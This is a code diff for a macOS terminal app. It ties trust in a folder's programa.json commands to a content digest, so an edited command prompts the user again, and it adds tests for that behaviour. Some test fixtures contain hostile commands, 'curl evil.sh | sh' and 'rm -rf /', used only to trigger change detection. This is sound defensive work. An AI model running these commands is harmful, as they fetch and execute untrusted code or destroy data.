diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index 022cb356..5a15547d 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -309,6 +309,7 @@ 7C10SE2A0000000000000002 /* WorkspaceCloseConfirmationTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7C10SE2A0000000000000001 /* WorkspaceCloseConfirmationTests.swift */; }; C1A2B3C4D5E6F70800000001 /* ProgramaConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = C1A2B3C4D5E6F70800000002 /* ProgramaConfigTests.swift */; }; C1A2B3C4D5E6F70800000006 /* ServeWebPortStoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = C1A2B3C4D5E6F70800000005 /* ServeWebPortStoreTests.swift */; }; + 9EAF4699346282F2171FCDB7 /* ProgramaDirectoryTrustTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3CA3597273B50CC0592C0164 /* ProgramaDirectoryTrustTests.swift */; }; /* End PBXBuildFile section */ /* Begin PBXCopyFilesBuildPhase section */ @@ -684,6 +685,7 @@ 7C10SE2A0000000000000001 /* WorkspaceCloseConfirmationTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WorkspaceCloseConfirmationTests.swift; sourceTree = ""; }; C1A2B3C4D5E6F70800000002 /* ProgramaConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ProgramaConfigTests.swift; sourceTree = ""; }; C1A2B3C4D5E6F70800000005 /* ServeWebPortStoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ServeWebPortStoreTests.swift; sourceTree = ""; }; + 3CA3597273B50CC0592C0164 /* ProgramaDirectoryTrustTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ProgramaDirectoryTrustTests.swift; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ @@ -1143,6 +1145,7 @@ 7C10SE2A0000000000000001 /* WorkspaceCloseConfirmationTests.swift */, C1A2B3C4D5E6F70800000002 /* ProgramaConfigTests.swift */, C1A2B3C4D5E6F70800000005 /* ServeWebPortStoreTests.swift */, + 3CA3597273B50CC0592C0164 /* ProgramaDirectoryTrustTests.swift */, ); path = programaTests; sourceTree = ""; @@ -1586,6 +1589,7 @@ 7C10SE2A0000000000000002 /* WorkspaceCloseConfirmationTests.swift in Sources */, C1A2B3C4D5E6F70800000001 /* ProgramaConfigTests.swift in Sources */, C1A2B3C4D5E6F70800000006 /* ServeWebPortStoreTests.swift in Sources */, + 9EAF4699346282F2171FCDB7 /* ProgramaDirectoryTrustTests.swift in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index 62a9848f..daccbfa1 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -6847,6 +6847,40 @@ } } }, + "dialog.cmuxConfig.confirmCommand.configChanged": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This folder's programa.json has changed since you trusted it." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このフォルダのprograma.jsonは、信頼してから変更されています。" + } + } + } + }, + "dialog.cmuxConfig.confirmCommand.messageWithCommand": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This will run the following command:\n\n%@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "次のコマンドを実行します:\n\n%@" + } + } + } + }, "dialog.cmuxConfig.confirmCommand.run": { "extractionState": "manual", "localizations": { @@ -6869,6 +6903,23 @@ } } }, + "dialog.cmuxConfig.confirmCommand.trustDirectory": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Always trust commands from this folder" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このフォルダのコマンドを常に信頼する" + } + } + } + }, "dialog.cmuxConfig.confirmCommand.truncated": { "extractionState": "manual", "localizations": { diff --git a/Sources/ProgramaConfigExecutor.swift b/Sources/ProgramaConfigExecutor.swift index 2dea7418..e3e6f13c 100644 --- a/Sources/ProgramaConfigExecutor.swift +++ b/Sources/ProgramaConfigExecutor.swift @@ -116,11 +116,13 @@ struct ProgramaConfigExecutor { globalConfigPath: String ) -> Bool { // No source path means the global config in ~/.config/programa, written by the user. - let trusted = configSourcePath.map { - ProgramaDirectoryTrust.shared.isTrusted(configPath: $0, globalConfigPath: globalConfigPath) - } ?? true + let trustState: ProgramaDirectoryTrust.TrustState = configSourcePath.map { + ProgramaDirectoryTrust.shared.trustState(configPath: $0, globalConfigPath: globalConfigPath) + } ?? .trusted + let trusted = trustState == .trusted + let configChanged = trustState == .changed - guard requiresConfirmation(confirmFlag: confirmFlag, isTrusted: trusted) else { + guard configChanged || requiresConfirmation(confirmFlag: confirmFlag, isTrusted: trusted) else { return true } @@ -163,7 +165,8 @@ struct ProgramaConfigExecutor { messageFormat: messageFormat, affirmativeButtonTitle: affirmativeButtonTitle, detail: detail, - configPath: trusted ? nil : configSourcePath + configPath: trusted ? nil : configSourcePath, + configChanged: configChanged ) } @@ -271,7 +274,8 @@ struct ProgramaConfigExecutor { messageFormat: String, affirmativeButtonTitle: String, detail: String, - configPath: String? + configPath: String?, + configChanged: Bool = false ) -> Bool { let alert = NSAlert() alert.messageText = title @@ -279,7 +283,15 @@ struct ProgramaConfigExecutor { // `describeForConfirmation` -- re-running sanitizeForDisplay on the whole string here // would collapse the real newlines between entries that the caller relies on to keep // each surface on its own line. - alert.informativeText = String(format: messageFormat, detail) + var informativeText = String(format: messageFormat, detail) + if configChanged { + let changedWarning = String( + localized: "dialog.cmuxConfig.confirmCommand.configChanged", + defaultValue: "This folder's programa.json has changed since you trusted it." + ) + informativeText = changedWarning + "\n\n" + informativeText + } + alert.informativeText = informativeText alert.alertStyle = .warning alert.addButton(withTitle: affirmativeButtonTitle) alert.addButton(withTitle: String( diff --git a/Sources/ProgramaDirectoryTrust.swift b/Sources/ProgramaDirectoryTrust.swift index bab1d222..8b059f95 100644 --- a/Sources/ProgramaDirectoryTrust.swift +++ b/Sources/ProgramaDirectoryTrust.swift @@ -1,3 +1,4 @@ +import CryptoKit import Foundation /// Manages trusted directories for programa.json command execution. @@ -12,82 +13,160 @@ import Foundation /// /// Global config (~/.config/programa/programa.json) is always trusted. /// -/// Known limitation: trust is granted per directory (or git repo root) and is not pinned to the -/// file's contents, so a later edit to an already-trusted programa.json runs without re-asking. -/// Tracked in https://github.com/darkroomengineering/programa/issues/188. +/// Trust is pinned to the config's *executable content* at the moment it was approved, not just +/// to the directory: each trusted entry records a SHA-256 digest of the config with JSONC +/// comments/trailing commas stripped and keys canonically sorted, so editing a comment or +/// reformatting the file does not re-prompt, but changing an actual command does. A later pull +/// that changes an already-trusted `programa.json` therefore surfaces `.changed` instead of +/// silently running the new content. See `trustState(configPath:globalConfigPath:)`. Formerly +/// tracked in https://github.com/darkroomengineering/programa/issues/188. final class ProgramaDirectoryTrust { static let shared = ProgramaDirectoryTrust() static let didChangeNotification = Notification.Name("programa.directoryTrustDidChange") + /// Outcome of comparing a config's current content against what was trusted. + enum TrustState { + /// Trusted and, if a digest was recorded, the content still matches it. + case trusted + /// Trusted at some point, but the config's executable content has changed since. + case changed + /// Never trusted (or the trusted config can no longer be read/digested). + case untrusted + } + + /// On-disk shape, version 2. Value is the SHA-256 hex digest of the config's executable + /// content at approval time, or `nil` for a legacy entry that predates digesting (adopted + /// silently on first query, see `trustState`). + private struct TrustStoreV2: Codable { + var version: Int + var directories: [String: String?] + } + private let storePath: String - private var trustedPaths: Set + private var trustedDirectories: [String: String?] - private init() { + private convenience init() { let appSupport = FileManager.default.urls( for: .applicationSupportDirectory, in: .userDomainMask ).first!.appendingPathComponent("programa") - storePath = appSupport.appendingPathComponent("trusted-directories.json").path let fm = FileManager.default if !fm.fileExists(atPath: appSupport.path) { try? fm.createDirectory(atPath: appSupport.path, withIntermediateDirectories: true) } - if let data = fm.contents(atPath: storePath), - let paths = try? JSONDecoder().decode([String].self, from: data) { - trustedPaths = Set(paths) - } else { - trustedPaths = [] - } + self.init(storePath: appSupport.appendingPathComponent("trusted-directories.json").path) + } + + /// Testing seam: lets tests point the store at a temp file instead of the real per-user + /// Application Support store. Production code must always go through `.shared`. + init(storePath: String) { + self.storePath = storePath + self.trustedDirectories = Self.load(fromStorePath: storePath) } - /// Check if a programa.json path is trusted. + /// Check if a programa.json path is trusted and its content has not changed since approval. /// Global config is always trusted. For local configs, check the git repo root /// (or the programa.json parent directory if not in a git repo). func isTrusted(configPath: String, globalConfigPath: String) -> Bool { - if configPath == globalConfigPath { return true } + trustState(configPath: configPath, globalConfigPath: globalConfigPath) == .trusted + } + + /// Three-state trust query: `.trusted`, `.changed` (trusted before, content differs now), or + /// `.untrusted`. + /// + /// A legacy entry (trusted under the pre-digest scheme, so its stored digest is `nil`) is + /// adopted silently here: the current digest is computed and persisted with no prompt, then + /// enforced from then on. A trusted entry whose config can no longer be read or digested + /// fails closed to `.untrusted` rather than treating an unreadable file as still-trusted. + func trustState(configPath: String, globalConfigPath: String) -> TrustState { + if configPath == globalConfigPath { return .trusted } + let trustKey = Self.trustKey(for: configPath) - return trustedPaths.contains(trustKey) + guard let storedDigest = trustedDirectories[trustKey] else { + return .untrusted + } + + guard let currentDigest = Self.executableDigest(forConfigAt: configPath) else { + return .untrusted + } + + guard let storedDigest else { + // Legacy entry with no digest -- adopt silently, no prompt. + trustedDirectories[trustKey] = currentDigest + save() + return .trusted + } + + return storedDigest == currentDigest ? .trusted : .changed } /// Trust the directory containing a programa.json. If the programa.json is inside a git - /// repo, trusts the repo root (covering all subdirectories). + /// repo, trusts the repo root (covering all subdirectories). Records the config's current + /// executable-content digest so a later edit to the file is detected. func trust(configPath: String) { let trustKey = Self.trustKey(for: configPath) - trustedPaths.insert(trustKey) + trustedDirectories[trustKey] = Self.executableDigest(forConfigAt: configPath) save() } /// Remove trust for a directory. func revokeTrust(configPath: String) { let trustKey = Self.trustKey(for: configPath) - trustedPaths.remove(trustKey) + trustedDirectories.removeValue(forKey: trustKey) save() } /// Remove trust by the trust key directly (as stored/displayed in settings). func revokeTrustByPath(_ path: String) { - trustedPaths.remove(path) + trustedDirectories.removeValue(forKey: path) save() } /// All currently trusted paths. var allTrustedPaths: [String] { - Array(trustedPaths).sorted() + Array(trustedDirectories.keys).sorted() } - /// Replace all trusted paths (used by Settings textarea save). + /// Replace all trusted paths (used by Settings textarea save and settings-backup restore). + /// Entries arriving this way carry no digest -- they go through the same silent-adoption + /// path as a legacy entry the first time their config is queried. func replaceAll(with paths: [String]) { - trustedPaths = Set(paths) + var replacement: [String: String?] = [:] + for path in paths { + // `replacement[path] = nil` would REMOVE the key: on a dictionary with an optional + // value type, assigning nil through the subscript deletes the entry rather than + // storing a nil value. `updateValue` is the only way to store "present, no digest". + replacement.updateValue(nil, forKey: path) + } + trustedDirectories = replacement save() } /// Clear all trusted directories. func clearAll() { - trustedPaths.removeAll() + trustedDirectories.removeAll() save() } + // MARK: - Digesting + + /// SHA-256 of the config's executable content: JSONC comments and trailing commas + /// stripped, then re-serialized canonically with sorted keys, so comment edits and + /// reformatting do not invalidate trust but a changed command does. + static func executableDigest(forConfigAt path: String) -> String? { + guard let data = FileManager.default.contents(atPath: path), !data.isEmpty else { return nil } + guard let sanitized = try? JSONCParser.preprocess(data: data) else { return nil } + let canonical: Data + if let object = try? JSONSerialization.jsonObject(with: sanitized), + let encoded = try? JSONSerialization.data(withJSONObject: object, options: [.sortedKeys]) { + canonical = encoded + } else { + canonical = sanitized + } + return Data(SHA256.hash(data: canonical)).map { String(format: "%02x", $0) }.joined() + } + // MARK: - Private /// Resolve the trust key for a programa.json path: git repo root if inside a repo, @@ -116,9 +195,34 @@ final class ProgramaDirectoryTrust { return nil } + /// Decode the on-disk store. Tries the versioned object shape first (current format), then + /// falls back to the flat `[String]` array that is live on every existing user's disk + /// (mapping each path to a nil/legacy digest). Never crashes and never wipes the file on a + /// decode error -- an empty result just means "nothing trusted yet". + private static func load(fromStorePath path: String) -> [String: String?] { + guard let data = FileManager.default.contents(atPath: path), !data.isEmpty else { return [:] } + + if let versioned = try? JSONDecoder().decode(TrustStoreV2.self, from: data) { + return versioned.directories + } + + if let paths = try? JSONDecoder().decode([String].self, from: data) { + var map: [String: String?] = [:] + for path in paths { + // Must be `updateValue`, not `map[path] = nil` -- see the note in `replaceAll`. + // Subscript-assigning nil here would delete every key and silently drop the + // trust set of every user upgrading from the flat-array format. + map.updateValue(nil, forKey: path) + } + return map + } + + return [:] + } + private func save() { - let sorted = trustedPaths.sorted() - guard let data = try? JSONEncoder().encode(sorted) else { return } + let store = TrustStoreV2(version: 2, directories: trustedDirectories) + guard let data = try? JSONEncoder().encode(store) else { return } FileManager.default.createFile(atPath: storePath, contents: data) NotificationCenter.default.post(name: Self.didChangeNotification, object: nil) } diff --git a/programaTests/ProgramaDirectoryTrustTests.swift b/programaTests/ProgramaDirectoryTrustTests.swift new file mode 100644 index 00000000..474618e7 --- /dev/null +++ b/programaTests/ProgramaDirectoryTrustTests.swift @@ -0,0 +1,241 @@ +import XCTest + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Issue #188: trust used to be a flat list of directory paths with no way to tell whether the +/// `programa.json` inside had changed since approval, so a later edit to an already-trusted +/// config ran with no prompt at all. These pin the fix: trust is pinned to a digest of the +/// config's *executable content* (JSONC comments/formatting stripped, keys canonicalized), so a +/// changed command is detected while a comment edit or reformat is not. +/// +/// Every test drives a throwaway `ProgramaDirectoryTrust` instance pointed at a temp file via the +/// `init(storePath:)` testing seam -- never `.shared`, which would read/write the real user's +/// trust store. +@MainActor +final class ProgramaDirectoryTrustTests: XCTestCase { + private var tempRoot: URL! + private var storeURL: URL! + private var configDir: URL! + private var configURL: URL! + + override func setUpWithError() throws { + try super.setUpWithError() + let fm = FileManager.default + tempRoot = fm.temporaryDirectory.appendingPathComponent(UUID().uuidString) + configDir = tempRoot.appendingPathComponent("repo") + try fm.createDirectory(at: configDir, withIntermediateDirectories: true) + configURL = configDir.appendingPathComponent("programa.json") + storeURL = tempRoot.appendingPathComponent("trusted-directories.json") + } + + override func tearDownWithError() throws { + try? FileManager.default.removeItem(at: tempRoot) + tempRoot = nil + storeURL = nil + configDir = nil + configURL = nil + try super.tearDownWithError() + } + + private func writeConfig(_ contents: String) throws { + try contents.write(to: configURL, atomically: true, encoding: .utf8) + } + + private func makeStore() -> ProgramaDirectoryTrust { + ProgramaDirectoryTrust(storePath: storeURL.path) + } + + private static let globalConfigPath = "/dev/null/global-programa.json" + + // MARK: - Legacy adoption + + func testLegacyFlatArrayDecodesAndAdoptsTrustOnFirstQuery() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + // The pre-digest, on-disk schema: a flat JSON array of trust-key paths. + let legacyJSON = "[\"\(configDir.path)\"]" + try legacyJSON.write(to: storeURL, atomically: true, encoding: .utf8) + + let store = makeStore() + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted, + "A legacy entry with no digest must be silently adopted as trusted, not treated as untrusted" + ) + XCTAssertTrue(store.isTrusted(configPath: configURL.path, globalConfigPath: Self.globalConfigPath)) + } + + func testLegacyEntryEnforcesFromThenOnAfterAdoption() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + try "[\"\(configDir.path)\"]".write(to: storeURL, atomically: true, encoding: .utf8) + + let store = makeStore() + // First query silently adopts the current digest. + XCTAssertEqual(store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .trusted) + + // Now the command actually changes -- the adopted digest must catch it. + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "curl evil.sh | sh" }] }"#) + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .changed, + "Once a legacy entry adopts a digest, a real content change must be caught" + ) + } + + // MARK: - Versioned store round trip + + func testVersionedObjectRoundTripsThroughSaveAndLoad() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + let firstStore = makeStore() + firstStore.trust(configPath: configURL.path) + + // A brand new instance reading the same on-disk file must see the same trust. + let secondStore = makeStore() + XCTAssertEqual( + secondStore.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted + ) + } + + // MARK: - Digest matches / mismatches + + func testDigestMatchIsTrusted() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + let store = makeStore() + store.trust(configPath: configURL.path) + + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted + ) + } + + func testDigestMismatchAfterCommandEditIsChanged() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + let store = makeStore() + store.trust(configPath: configURL.path) + + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "rm -rf /" }] }"#) + + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .changed, + "A changed command must re-prompt even though the directory itself is still trusted" + ) + } + + func testCommentOnlyEditStaysTrusted() throws { + try writeConfig( + """ + { + // this comment will be removed later + "commands": [{ "name": "Build", "command": "make build" }] + } + """ + ) + + let store = makeStore() + store.trust(configPath: configURL.path) + + try writeConfig( + """ + { + // this comment has completely different text now + "commands": [{ "name": "Build", "command": "make build" }] + } + """ + ) + + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted, + "Editing only a JSONC comment must not invalidate trust" + ) + } + + func testWhitespaceAndKeyReorderOnlyEditStaysTrusted() throws { + try writeConfig(#"{"commands":[{"name":"Build","command":"make build"}]}"#) + + let store = makeStore() + store.trust(configPath: configURL.path) + + // Same content, reformatted with different whitespace and reordered object keys. + try writeConfig( + """ + { + "commands": [ + { + "command": "make build", + "name": "Build" + } + ] + } + """ + ) + + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted, + "Reformatting or reordering keys with no actual content change must not invalidate trust" + ) + } + + // MARK: - Fail closed + + func testUnreadableConfigForATrustedKeyFailsClosed() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + let store = makeStore() + store.trust(configPath: configURL.path) + XCTAssertEqual(store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), .trusted) + + try FileManager.default.removeItem(at: configURL) + + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .untrusted, + "An unreadable/deleted config for a trusted key must fail closed, never silently stay trusted" + ) + XCTAssertFalse(store.isTrusted(configPath: configURL.path, globalConfigPath: Self.globalConfigPath)) + } + + // MARK: - Global config bypass + + func testGlobalConfigIsAlwaysTrustedRegardlessOfStore() throws { + let store = makeStore() + XCTAssertEqual( + store.trustState(configPath: Self.globalConfigPath, globalConfigPath: Self.globalConfigPath), + .trusted + ) + } + + // MARK: - replaceAll interop + + func testReplaceAllInteropKeepsEntriesWorking() throws { + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "make build" }] }"#) + + let store = makeStore() + store.replaceAll(with: [configDir.path]) + + XCTAssertEqual(store.allTrustedPaths, [configDir.path]) + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .trusted, + "Entries arriving through replaceAll(with:) have no digest and must silently adopt, like legacy entries" + ) + + // And, having adopted a digest, a real change is still caught. + try writeConfig(#"{ "commands": [{ "name": "Build", "command": "curl evil.sh | sh" }] }"#) + XCTAssertEqual( + store.trustState(configPath: configURL.path, globalConfigPath: Self.globalConfigPath), + .changed + ) + } +}